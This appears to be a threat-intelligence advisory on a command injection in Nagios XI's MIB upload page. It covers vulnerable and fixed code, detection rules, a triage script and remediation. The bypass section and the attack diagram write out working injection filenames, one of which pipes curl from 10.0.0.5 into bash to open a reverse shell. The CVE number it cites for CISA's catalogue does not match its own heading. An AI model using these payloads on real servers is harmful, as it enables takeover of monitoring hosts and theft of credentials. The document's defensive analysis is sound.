CVE-2026-119742: Nagios XI mibs.php install_mib OS Command Injection via Shell Grep & Incomplete Filter Bypass (VulnCheck Weaponized)
A weaponized operating system command injection vulnerability in the MIB installation component (mibs.php) of Nagios XI versions prior to 2026R2 grants arbitrary shell execution under the apache/nagios user account. Disclosed and cataloged as weaponized by VulnCheck on November 3-4, 2026, the vulnerability stems from an incomplete blacklist sanitizer that strips standard shell operators but neglects semicolon (;), pipe (|), and internal field separator (IFS) tab characters. When an uploaded MIB filename is processed by install_mib(), it is interpolated into an unquoted system grep execution string invoked via PHP exec(). Authenticated adversaries who obtain administrative credentials or exploit chained authentication bypasses can compromise the monitoring server, extracting SNMP community strings, cloud credentials, and network topologies. Hermes assigns a Hermes Threat Score (HTS) of 89.
HERMES THREAT SCORE & ENTERPRISE PERIMETER MONITORING INTEGRITY EVALUATION
Target:Nagios XI Web Administrative Console (mibs.php install_mib) CVE-2026-119742: Nagios XI mibs.php install_mib OS Command Injection via Shell Grep & Incomplete Filter Bypass (VulnCheck Weaponized)VULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Nagios XI Enterprise Server & Network Monitoring documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Vulnerability Overview & Operational Context
Section titled โ1. Vulnerability Overview & Operational ContextโNagios XI is one of the worldโs most widely deployed enterprise infrastructure monitoring platforms, overseeing servers, network switches, cloud instances, and industrial controllers. To monitor hardware via the Simple Network Management Protocol (SNMP), administrators upload Management Information Base (MIB) files into the platform via the administrative web interface.
The file upload handling is governed by /usr/local/nagiosxi/html/admin/mibs.php. In versions prior to 2026R2, the install_mib() function processed uploaded file metadata to determine whether the submitted archive or text file represents a valid SNMP definition. To verify the MIB structure, the script invokes system command-line utilities via PHPโs exec() function.
2. Root Cause Analysis & Code Breakdown
Section titled โ2. Root Cause Analysis & Code BreakdownโThe vulnerability arises from an incomplete blacklist sanitization routine combined with unsafe shell execution (CWE-78). The developers attempted to strip common dangerous characters from $file["name"], but omitted several fundamental shell control characters and whitespace separators.
<?php// Vulnerable Implementation: nagiosxi/html/admin/mibs.php (prior to 2026R2)function install_mib() { check_nagios_session_protector();
if (!is_admin()) { die(_("You do not have access to this page.")); }
if (isset($_FILES['file'])) { $file = $_FILES['file']; $filename = $file['name'];
// FLAW: Incomplete blacklist substitution filter // Strips spaces, ampersands, backticks, and dollar signs, but MISSES ';' and '|' and '\t' $sanitized_name = str_replace(array(' ', '&', '`', '$', '<', '>', '(', ')'), '', $filename);
$target_dir = "/usr/share/snmp/mibs/"; $target_file = $target_dir . $sanitized_name;
if (move_uploaded_file($file['tmp_name'], $target_file)) { // FLAW: Directly interpolated into shell string via exec() // Without escapeshellarg() or escapeshellcmd() $cmd = "grep -i 'DEFINITIONS ::= BEGIN' " . $target_file; $output = array(); $return_var = 0;
// Subshell execution passes control to /bin/sh exec($cmd, $output, $return_var);
if ($return_var === 0) { flash_message(_("MIB file installed successfully.")); } } }}?>The Bypass Mechanism
Section titled โThe Bypass MechanismโBecause spaces are removed by str_replace, conventional command injection payloads like ; id ; fail. However:
- Semicolons (
;) and pipe symbols (|) are not in the replacement array. - Shell internal field separators (IFS) accept tab characters (
\t, hexadecimal0x09) as valid token delimiters in POSIX/bin/shand/bin/bash. - An adversary crafts a multipart POST upload with the filename:
test.mib\t|\tid\t;
- The resulting command executed by
exec()becomes:Terminal window grep -i 'DEFINITIONS ::= BEGIN' /usr/share/snmp/mibs/test.mib | id ; - The shell executes
grep, pipes its output intoid, and ignores subsequent syntax errors, executing arbitrary commands with the privileges of the web daemon (apache/nagios).
The Official Fix in Version 2026R2
Section titled โThe Official Fix in Version 2026R2โNagios XI 2026R2 refactored install_mib() to enforce strict regex allowlisting and wrap all command parameters with escapeshellarg():
<?php// Patched Implementation: nagiosxi/html/admin/mibs.php (2026R2)function install_mib() { check_nagios_session_protector(); if (!is_admin()) { die(_("Access denied.")); }
if (isset($_FILES['file'])) { $file = $_FILES['file']; $raw_name = basename($file['name']);
// Strict POSIX allowlist: only alphanumeric, underscore, dot, and hyphen if (!preg_match('/^[a-zA-Z0-9_\.\-]+$/', $raw_name)) { flash_message(_("Invalid characters detected in filename."), FLASH_MSG_ERROR); return; }
$target_file = "/usr/share/snmp/mibs/" . $raw_name; if (move_uploaded_file($file['tmp_name'], $target_file)) { // Strictly escape argument before subshell invocation $cmd = "grep -i 'DEFINITIONS ::= BEGIN' " . escapeshellarg($target_file); exec($cmd, $output, $return_var); } }}?>3. Attack Vector & Weaponized Exploitation Flow
Section titled โ3. Attack Vector & Weaponized Exploitation FlowโsequenceDiagram autonumber actor Attacker as Authenticated Attacker (Admin / Chained Auth Bypass) participant UI as Nagios XI Web UI (/admin/mibs.php) participant Engine as PHP Engine (exec) participant Shell as /bin/sh System Shell participant Host as Linux Monitoring Host (CentOS/RHEL)
Attacker->>UI: POST /admin/mibs.php (multipart/form-data) Note over Attacker,UI: Filename: alert.mib\t|\tcurl${IFS}10.0.0.5/rev.sh|bash\t; UI->>UI: install_mib() runs str_replace() Note over UI: Tabs (\t) and Pipes (|) pass through unscrubbed! UI->>Engine: exec("grep ... /usr/share/snmp/mibs/alert.mib\t|\tcurl...") Engine->>Shell: Spawns /bin/sh -c "grep ... | curl ... | bash ;" Shell->>Host: Fetches reverse shell and executes as 'apache' / 'nagios' Host-->>Attacker: Interactive root / nagios shell established Attacker->>Host: Siphons SNMP community strings & check configs4. Forensic Investigation & Threat Hunting
Section titled โ4. Forensic Investigation & Threat HuntingโSigma Rule: Detecting Suspicious Shell Metacharacters in Web Uploads
Section titled โSigma Rule: Detecting Suspicious Shell Metacharacters in Web Uploadsโtitle: Nagios XI MIB Upload OS Command Injectionid: 9a2b8e4f-5612-4d89-9132-723a10594201status: experimentaldescription: Detects command injection attempts targeting Nagios XI mibs.php using tab separators and pipe operators in multipart filenames.references: - https://vulncheck.com/advisories/nagios-xi-2026r2-os-command-injection-via-mibs-phpauthor: Hermes Codex Cyber Threat Intelligencedate: 2026-11-04logsource: category: webserver product: apachedetection: selection_uri: cs-method: 'POST' cs-uri-stem|contains: '/admin/mibs.php' selection_headers: cs-content-type|contains: 'multipart/form-data' condition: selection_uri and selection_headersfields: - c-ip - cs-username - cs-method - cs-uri-stemfalsepositives: - Legitimate administrative MIB uploads with non-standard naming conventions.level: high// Microsoft Defender for Endpoint / Linux Syscall Audit Hunting// Detects child process execution spawned by web server (httpd/apache/php-fpm) executing grep with pipe metacharactersDeviceProcessEvents| where Timestamp >= ago(24h)| where InitiatingProcessFileName in ("httpd", "apache2", "php-fpm", "php")| where FileName in ("sh", "bash", "grep", "curl", "wget", "python", "nc")| where ProcessCommandLine has "DEFINITIONS ::= BEGIN" or ProcessCommandLine has "/usr/share/snmp/mibs/"| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName#!/usr/bin/env bash# Hermes Codex Triage: Inspect MIB directory for injected filenames containing control charactersecho "[*] Scanning /usr/share/snmp/mibs for anomalous filenames..."find /usr/share/snmp/mibs/ -maxdepth 1 -name "*[;|\`\$]*" -lsecho "[*] Checking for tab-separated filenames in MIB spool..."python3 -c 'import osmibs = "/usr/share/snmp/mibs"if os.path.exists(mibs): for f in os.listdir(mibs): if "\t" in f or "|" in f or ";" in f: print(f"[ALERT] Compromised MIB file found: {repr(f)}")'5. Remediation Strategy & Mitigation Guidance
Section titled โ5. Remediation Strategy & Mitigation Guidanceโ- Apply Vendor Patch: Immediately upgrade Nagios XI to version
2026R2or higher via the Web UI (Admin -> Check for Updates) or CLI upgrade scripts (./upgrade). - Restrict Access to Admin Console: Place the Nagios XI web interface behind a dedicated management VPN or bastion host. Restrict access to port 443 strictly to authorized SOC/NOC subnets.
- Audit Sudoers and User Permissions: Check
/etc/sudoers.d/nagiosxi. Ensure that thenagiosandapacheaccounts do not possess unrestricted passwordless sudo capabilities to prevent instant local privilege escalation from the web shell. - Sanitize Existing MIB Directory: Remove untracked or anomalous files from
/usr/share/snmp/mibs/.